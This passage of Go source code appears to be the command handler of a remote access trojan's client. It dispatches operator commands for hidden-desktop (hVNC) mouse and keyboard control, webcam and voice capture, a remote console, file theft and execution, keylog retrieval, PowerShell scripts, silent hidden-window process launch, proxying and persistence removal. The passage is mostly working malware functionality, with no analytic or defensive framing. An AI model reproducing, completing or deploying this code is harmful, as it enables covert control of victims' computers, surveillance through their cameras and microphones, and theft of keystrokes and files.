sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_mouse_down":
|
|
if !env.HVNCMouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
btn := 0
|
|
x, y := int32(0), int32(0)
|
|
if payload != nil {
|
|
switch v := payload["button"].(type) {
|
|
case float64:
|
|
btn = int(v)
|
|
case float32:
|
|
btn = int(v)
|
|
case int:
|
|
btn = v
|
|
case int8:
|
|
btn = int(v)
|
|
case int16:
|
|
btn = int(v)
|
|
case int32:
|
|
btn = int(v)
|
|
case int64:
|
|
btn = int(v)
|
|
case uint:
|
|
btn = int(v)
|
|
case uint8:
|
|
btn = int(v)
|
|
case uint16:
|
|
btn = int(v)
|
|
case uint32:
|
|
btn = int(v)
|
|
case uint64:
|
|
btn = int(v)
|
|
}
|
|
switch v := payload["x"].(type) {
|
|
case float64:
|
|
x = int32(v)
|
|
case float32:
|
|
x = int32(v)
|
|
case int:
|
|
x = int32(v)
|
|
case int8:
|
|
x = int32(v)
|
|
case int16:
|
|
x = int32(v)
|
|
case int32:
|
|
x = v
|
|
case int64:
|
|
x = int32(v)
|
|
case uint:
|
|
x = int32(v)
|
|
case uint8:
|
|
x = int32(v)
|
|
case uint16:
|
|
x = int32(v)
|
|
case uint32:
|
|
x = int32(v)
|
|
case uint64:
|
|
x = int32(v)
|
|
}
|
|
switch v := payload["y"].(type) {
|
|
case float64:
|
|
y = int32(v)
|
|
case float32:
|
|
y = int32(v)
|
|
case int:
|
|
y = int32(v)
|
|
case int8:
|
|
y = int32(v)
|
|
case int16:
|
|
y = int32(v)
|
|
case int32:
|
|
y = v
|
|
case int64:
|
|
y = int32(v)
|
|
case uint:
|
|
y = int32(v)
|
|
case uint8:
|
|
y = int32(v)
|
|
case uint16:
|
|
y = int32(v)
|
|
case uint32:
|
|
y = int32(v)
|
|
case uint64:
|
|
y = int32(v)
|
|
}
|
|
}
|
|
log.Printf("hvnc: mouse down %d", btn)
|
|
if x != 0 || y != 0 {
|
|
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
|
|
}
|
|
_ = capture.HVNCInputMouseDown(btn)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_mouse_up":
|
|
if !env.HVNCMouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
btn := 0
|
|
x, y := int32(0), int32(0)
|
|
if payload != nil {
|
|
switch v := payload["button"].(type) {
|
|
case float64:
|
|
btn = int(v)
|
|
case float32:
|
|
btn = int(v)
|
|
case int:
|
|
btn = v
|
|
case int8:
|
|
btn = int(v)
|
|
case int16:
|
|
btn = int(v)
|
|
case int32:
|
|
btn = int(v)
|
|
case int64:
|
|
btn = int(v)
|
|
case uint:
|
|
btn = int(v)
|
|
case uint8:
|
|
btn = int(v)
|
|
case uint16:
|
|
btn = int(v)
|
|
case uint32:
|
|
btn = int(v)
|
|
case uint64:
|
|
btn = int(v)
|
|
}
|
|
switch v := payload["x"].(type) {
|
|
case float64:
|
|
x = int32(v)
|
|
case float32:
|
|
x = int32(v)
|
|
case int:
|
|
x = int32(v)
|
|
case int8:
|
|
x = int32(v)
|
|
case int16:
|
|
x = int32(v)
|
|
case int32:
|
|
x = v
|
|
case int64:
|
|
x = int32(v)
|
|
case uint:
|
|
x = int32(v)
|
|
case uint8:
|
|
x = int32(v)
|
|
case uint16:
|
|
x = int32(v)
|
|
case uint32:
|
|
x = int32(v)
|
|
case uint64:
|
|
x = int32(v)
|
|
}
|
|
switch v := payload["y"].(type) {
|
|
case float64:
|
|
y = int32(v)
|
|
case float32:
|
|
y = int32(v)
|
|
case int:
|
|
y = int32(v)
|
|
case int8:
|
|
y = int32(v)
|
|
case int16:
|
|
y = int32(v)
|
|
case int32:
|
|
y = v
|
|
case int64:
|
|
y = int32(v)
|
|
case uint:
|
|
y = int32(v)
|
|
case uint8:
|
|
y = int32(v)
|
|
case uint16:
|
|
y = int32(v)
|
|
case uint32:
|
|
y = int32(v)
|
|
case uint64:
|
|
y = int32(v)
|
|
}
|
|
}
|
|
log.Printf("hvnc: mouse up %d", btn)
|
|
if x != 0 || y != 0 {
|
|
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
|
|
}
|
|
_ = capture.HVNCInputMouseUp(btn)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_mouse_wheel":
|
|
if !env.HVNCMouseControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
delta := int32(0)
|
|
x, y := int32(0), int32(0)
|
|
if payload != nil {
|
|
switch v := payload["delta"].(type) {
|
|
case float64:
|
|
delta = int32(v)
|
|
case float32:
|
|
delta = int32(v)
|
|
case int:
|
|
delta = int32(v)
|
|
case int8:
|
|
delta = int32(v)
|
|
case int16:
|
|
delta = int32(v)
|
|
case int32:
|
|
delta = v
|
|
case int64:
|
|
delta = int32(v)
|
|
case uint:
|
|
delta = int32(v)
|
|
case uint8:
|
|
delta = int32(v)
|
|
case uint16:
|
|
delta = int32(v)
|
|
case uint32:
|
|
delta = int32(v)
|
|
case uint64:
|
|
delta = int32(v)
|
|
}
|
|
switch v := payload["x"].(type) {
|
|
case float64:
|
|
x = int32(v)
|
|
case float32:
|
|
x = int32(v)
|
|
case int:
|
|
x = int32(v)
|
|
case int8:
|
|
x = int32(v)
|
|
case int16:
|
|
x = int32(v)
|
|
case int32:
|
|
x = v
|
|
case int64:
|
|
x = int32(v)
|
|
case uint:
|
|
x = int32(v)
|
|
case uint8:
|
|
x = int32(v)
|
|
case uint16:
|
|
x = int32(v)
|
|
case uint32:
|
|
x = int32(v)
|
|
case uint64:
|
|
x = int32(v)
|
|
}
|
|
switch v := payload["y"].(type) {
|
|
case float64:
|
|
y = int32(v)
|
|
case float32:
|
|
y = int32(v)
|
|
case int:
|
|
y = int32(v)
|
|
case int8:
|
|
y = int32(v)
|
|
case int16:
|
|
y = int32(v)
|
|
case int32:
|
|
y = v
|
|
case int64:
|
|
y = int32(v)
|
|
case uint:
|
|
y = int32(v)
|
|
case uint8:
|
|
y = int32(v)
|
|
case uint16:
|
|
y = int32(v)
|
|
case uint32:
|
|
y = int32(v)
|
|
case uint64:
|
|
y = int32(v)
|
|
}
|
|
}
|
|
if x != 0 || y != 0 {
|
|
_ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y)
|
|
}
|
|
_ = capture.HVNCInputMouseWheel(delta)
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_key_down":
|
|
if !env.HVNCKeyboardControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
code := ""
|
|
if payload != nil {
|
|
if v, ok := payload["code"].(string); ok {
|
|
code = v
|
|
}
|
|
}
|
|
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
|
log.Printf("hvnc: key down code=%s vk=%d", code, vk)
|
|
_ = capture.HVNCInputKeyDown(vk)
|
|
}
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_key_up":
|
|
if !env.HVNCKeyboardControl {
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
}
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
code := ""
|
|
if payload != nil {
|
|
if v, ok := payload["code"].(string); ok {
|
|
code = v
|
|
}
|
|
}
|
|
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
|
log.Printf("hvnc: key up code=%s vk=%d", code, vk)
|
|
_ = capture.HVNCInputKeyUp(vk)
|
|
}
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "hvnc_start_process":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
filePath := ""
|
|
if payload != nil {
|
|
if v, ok := payload["path"].(string); ok {
|
|
filePath = v
|
|
}
|
|
}
|
|
log.Printf("hvnc: start process %q", filePath)
|
|
err := capture.StartHVNCProcess(filePath)
|
|
if err != nil {
|
|
sendCommandResultSafe(env, cmdID, false, err.Error())
|
|
return nil
|
|
}
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
|
|
case "webcam_start":
|
|
env.WebcamMu.Lock()
|
|
if env.WebcamCancel != nil {
|
|
env.WebcamCancel()
|
|
waitStreamStop(env.WebcamDone, "webcam")
|
|
}
|
|
webcamCtx, cancel := context.WithCancel(ctx)
|
|
env.WebcamCancel = cancel
|
|
done := make(chan struct{})
|
|
env.WebcamDone = done
|
|
goSafe("webcam stream", env.Cancel, func() {
|
|
log.Printf("webcam: start requested")
|
|
_ = WebcamStart(webcamCtx, env)
|
|
close(done)
|
|
})
|
|
env.WebcamMu.Unlock()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "webcam_list":
|
|
devices, err := capture.ListWebcams()
|
|
if err != nil {
|
|
sendCommandResultSafe(env, cmdID, false, err.Error())
|
|
return nil
|
|
}
|
|
out := make([]wire.WebcamDevice, 0, len(devices))
|
|
for _, dev := range devices {
|
|
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
|
|
}
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "webcam_select":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
index := 0
|
|
if payload != nil {
|
|
if n, ok := payloadInt(payload, "index"); ok {
|
|
index = n
|
|
}
|
|
}
|
|
env.WebcamDeviceIndex = index
|
|
capture.CleanupWebcam()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "webcam_set_fps":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
env.WebcamMu.Lock()
|
|
isStreaming := env.WebcamCancel != nil
|
|
env.WebcamMu.Unlock()
|
|
if isStreaming {
|
|
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
|
|
return nil
|
|
}
|
|
fps := env.WebcamFPS
|
|
useMax := env.WebcamUseMaxFPS
|
|
if payload != nil {
|
|
if n, ok := payloadInt(payload, "fps"); ok {
|
|
fps = n
|
|
}
|
|
if v, ok := payload["useMax"].(bool); ok {
|
|
useMax = v
|
|
}
|
|
}
|
|
if fps < 1 {
|
|
fps = 30
|
|
}
|
|
if fps > 120 {
|
|
fps = 120
|
|
}
|
|
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
|
|
if clampErr != nil {
|
|
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
|
|
} else {
|
|
fps = clampedFPS
|
|
}
|
|
env.WebcamFPS = fps
|
|
env.WebcamUseMaxFPS = useMax
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
case "webcam_stop":
|
|
env.WebcamMu.Lock()
|
|
log.Printf("webcam: stop requested")
|
|
if env.WebcamCancel != nil {
|
|
env.WebcamCancel()
|
|
}
|
|
waitStreamStop(env.WebcamDone, "webcam")
|
|
env.WebcamCancel = nil
|
|
env.WebcamDone = nil
|
|
env.WebcamMu.Unlock()
|
|
sendCommandResultSafe(env, cmdID, true, "")
|
|
return nil
|
|
|
|
case "console_start":
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
cols, rows := envelopePayloadInts(envelope)
|
|
if sessionID == "" {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
|
|
}
|
|
if err := console.Start(ctx, env, sessionID, cols, rows); err != nil {
|
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
return nil
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "console_input":
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
data, _ := envelopePayloadString(envelope, "data")
|
|
if sessionID != "" && data != "" {
|
|
_ = console.Input(sessionID, data)
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "console_stop":
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
if sessionID != "" {
|
|
console.Stop(sessionID)
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "console_resize":
|
|
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
cols, rows := envelopePayloadInts(envelope)
|
|
_ = sessionID
|
|
console.Resize(sessionID, cols, rows)
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "voice_session_start":
|
|
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
|
source := "default"
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload != nil {
|
|
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
|
|
source = strings.TrimSpace(v)
|
|
}
|
|
}
|
|
if err := startVoiceSession(ctx, env, sessionID, source); err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "voice_session_stop":
|
|
stopVoiceSession()
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "voice_downlink":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
|
|
}
|
|
data, _ := payload["data"].([]byte)
|
|
if err := writeVoiceDownlink(data); err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "voice_capabilities":
|
|
caps := audio.ProbeCapabilities()
|
|
payload, _ := json.Marshal(caps)
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
|
|
}
|
|
|
|
switch action {
|
|
case "file_list":
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
return HandleFileList(ctx, env, cmdID, path)
|
|
case "file_download":
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
return HandleFileDownload(ctx, env, cmdID, path)
|
|
case "file_upload":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
path, _ := payload["path"].(string)
|
|
offset := payloadNumberToInt64(payload["offset"])
|
|
total := payloadNumberToInt64(payload["total"])
|
|
transferID, _ := payload["transferId"].(string)
|
|
data := []byte{}
|
|
if d, ok := payload["data"].([]byte); ok {
|
|
data = d
|
|
}
|
|
return HandleFileUpload(ctx, env, cmdID, path, data, offset, total, transferID)
|
|
case "file_upload_http":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
path, _ := payload["path"].(string)
|
|
sourceURL, _ := payload["url"].(string)
|
|
total := payloadNumberToInt64(payload["total"])
|
|
return HandleFileUploadHTTP(ctx, env, cmdID, path, sourceURL, total)
|
|
case "file_delete":
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
return HandleFileDelete(ctx, env, cmdID, path)
|
|
case "file_mkdir":
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
return HandleFileMkdir(ctx, env, cmdID, path)
|
|
case "file_zip":
|
|
path, _ := envelopePayloadString(envelope, "path")
|
|
|
|
zipCtx, cancel := context.WithCancel(ctx)
|
|
registerCancellableCommand(cmdID, cancel)
|
|
goSafe("file_zip", env.Cancel, func() {
|
|
defer unregisterCommand(cmdID)
|
|
if err := HandleFileZip(zipCtx, env, cmdID, path); err != nil && err != context.Canceled {
|
|
log.Printf("file_zip error: %v", err)
|
|
}
|
|
})
|
|
return nil
|
|
case "file_read":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
path, _ := payload["path"].(string)
|
|
maxSize := int64(0)
|
|
if ms, ok := payload["maxSize"].(float64); ok {
|
|
maxSize = int64(ms)
|
|
}
|
|
return HandleFileRead(ctx, env, cmdID, path, maxSize)
|
|
case "file_write":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
path, _ := payload["path"].(string)
|
|
content, _ := payload["content"].(string)
|
|
return HandleFileWrite(ctx, env, cmdID, path, content)
|
|
case "file_search":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
searchID, _ := payload["searchId"].(string)
|
|
basePath, _ := payload["path"].(string)
|
|
pattern, _ := payload["pattern"].(string)
|
|
searchContent := false
|
|
if sc, ok := payload["searchContent"].(bool); ok {
|
|
searchContent = sc
|
|
}
|
|
maxResults := 0
|
|
if mr, ok := payload["maxResults"].(float64); ok {
|
|
maxResults = int(mr)
|
|
}
|
|
return HandleFileSearch(ctx, env, cmdID, searchID, basePath, pattern, searchContent, maxResults)
|
|
case "file_copy":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
source, _ := payload["source"].(string)
|
|
dest, _ := payload["dest"].(string)
|
|
return HandleFileCopy(ctx, env, cmdID, source, dest)
|
|
case "file_move":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
source, _ := payload["source"].(string)
|
|
dest, _ := payload["dest"].(string)
|
|
return HandleFileMove(ctx, env, cmdID, source, dest)
|
|
case "file_chmod":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
path, _ := payload["path"].(string)
|
|
mode, _ := payload["mode"].(string)
|
|
return HandleFileChmod(ctx, env, cmdID, path, mode)
|
|
case "file_execute":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
path, _ := payload["path"].(string)
|
|
return HandleFileExecute(ctx, env, cmdID, path)
|
|
case "process_list":
|
|
return HandleProcessList(ctx, env, cmdID)
|
|
case "process_kill":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil {
|
|
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
|
payload = make(map[string]interface{}, len(rawPayload))
|
|
for k, v := range rawPayload {
|
|
ks, ok := k.(string)
|
|
if !ok {
|
|
continue
|
|
}
|
|
payload[ks] = v
|
|
}
|
|
}
|
|
}
|
|
pid := int32(0)
|
|
if p, ok := payload["pid"].(float64); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(string); ok {
|
|
if parsed, err := strconv.Atoi(p); err == nil {
|
|
pid = int32(parsed)
|
|
}
|
|
}
|
|
if p, ok := payload["pid"].(uint16); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(uint8); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(uint64); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(uint32); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(uint); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(int32); ok {
|
|
pid = p
|
|
}
|
|
if p, ok := payload["pid"].(int64); ok {
|
|
pid = int32(p)
|
|
}
|
|
if p, ok := payload["pid"].(int); ok {
|
|
pid = int32(p)
|
|
}
|
|
return HandleProcessKill(ctx, env, cmdID, pid)
|
|
case "keylog_list":
|
|
return HandleKeylogList(ctx, env, cmdID)
|
|
case "keylog_retrieve":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
filename, _ := payload["filename"].(string)
|
|
return HandleKeylogRetrieve(ctx, env, cmdID, filename)
|
|
case "keylog_clear_all":
|
|
return HandleKeylogClearAll(ctx, env, cmdID)
|
|
case "keylog_delete":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
filename, _ := payload["filename"].(string)
|
|
return HandleKeylogDelete(ctx, env, cmdID, filename)
|
|
case "script_exec":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
scriptContent, _ := payload["script"].(string)
|
|
scriptType, _ := payload["type"].(string)
|
|
if scriptType == "" {
|
|
scriptType = "powershell"
|
|
}
|
|
return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
|
|
case "support_chat":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
message, _ := payload["message"].(string)
|
|
operator, _ := payload["operator"].(string)
|
|
requireReply := true
|
|
if payload != nil {
|
|
if v, ok := payload["requireReply"].(bool); ok {
|
|
requireReply = v
|
|
}
|
|
}
|
|
reply, err := showSupportChatDialog(message, operator, requireReply)
|
|
if err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
if requireReply {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: strings.TrimSpace(reply)})
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: "delivered"})
|
|
case "silent_exec":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil {
|
|
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
|
payload = make(map[string]interface{}, len(rawPayload))
|
|
for k, v := range rawPayload {
|
|
ks, ok := k.(string)
|
|
if !ok {
|
|
continue
|
|
}
|
|
payload[ks] = v
|
|
}
|
|
}
|
|
}
|
|
command, _ := payload["command"].(string)
|
|
command = strings.TrimSpace(command)
|
|
if len(command) >= 2 {
|
|
if (command[0] == '"' && command[len(command)-1] == '"') || (command[0] == '\'' && command[len(command)-1] == '\'') {
|
|
command = command[1 : len(command)-1]
|
|
}
|
|
}
|
|
argsRaw, _ := payload["args"].(string)
|
|
hideWindow := true
|
|
if v, ok := payload["hideWindow"].(bool); ok {
|
|
hideWindow = v
|
|
}
|
|
cwd, _ := payload["cwd"].(string)
|
|
if command == "" {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing command"})
|
|
}
|
|
args := parseCommandArgs(argsRaw)
|
|
if err := startSilentProcess(command, args, cwd, hideWindow); err != nil {
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
|
}
|
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
|
case "uninstall":
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
|
|
|
if err := removePersistence(); err != nil {
|
|
log.Printf("uninstall: failed to remove persistence: %v", err)
|
|
}
|
|
|
|
os.Exit(0)
|
|
case "disconnect":
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
|
resetForReconnect(env)
|
|
return ErrReconnect
|
|
case "reconnect":
|
|
resetForReconnect(env)
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
|
return ErrReconnect
|
|
case "proxy_start":
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
return HandleProxyStart(ctx, env, cmdID, payload)
|
|
case "proxy_stop":
|
|
return HandleProxyStop(ctx, env, cmdID)
|
|
default:
|
|
log.Printf("command: unknown action=%s", action)
|
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
|
|
return wire.WriteMsg(ctx, env.Conn, res)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func envelopePayloadString(envelope map[string]interface{}, key string) (string, bool) {
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil {
|
|
return "", false
|
|
}
|
|
val, _ := payload[key].(string)
|
|
return val, val != ""
|
|
}
|
|
|
|
func envelopePayloadInts(envelope map[string]interface{}) (int, int) {
|
|
payload, _ := envelope["payload"].(map[string]interface{})
|
|
if payload == nil {
|
|
return 0, 0
|
|
}
|
|
cols, _ := payload["cols"].(int)
|
|
rows, _ := payload["rows"].(int)
|
|
|
|
if cols == 0 {
|
|
if f, ok := payload["cols"].(float64); ok {
|
|
cols = int(f)
|
|
}
|
|
if i, ok := payload["cols"].(int64); ok {
|
|
cols = int(i)
|
|
}
|
|
}
|
|
if rows == 0 {
|
|
if f, ok := payload["rows"].(float64); ok {
|
|
rows = int(f)
|
|
}
|
|
if i, ok := payload["rows"].(int64); ok {
|
|
rows = int(i)
|
|
}
|
|
}
|
|
if cols == 0 {
|
|
cols = 120
|
|
}
|
|
if rows == 0 {
|
|
rows = 36
|
|
}
|
|
return cols, rows
|
|
}
|
|
|
|
func toInt(v interface{}) int {
|
|
if v == nil {
|
|
return 0
|
|
}
|
|
if i, ok := v.(int); ok {
|
|
return i
|
|
}
|
|
if i, ok := v.(int8); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(int16); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(int32); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(int64); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(uint8); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(uint16); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(uint32); ok {
|
|
return int(i)
|
|
}
|
|
if i, ok := v.(uint64); ok {
|
|
return int(i)
|
|
}
|
|
if f, ok := v.(float64); ok {
|
|
return int(f)
|
|
}
|
|
return 0
|
|
}
|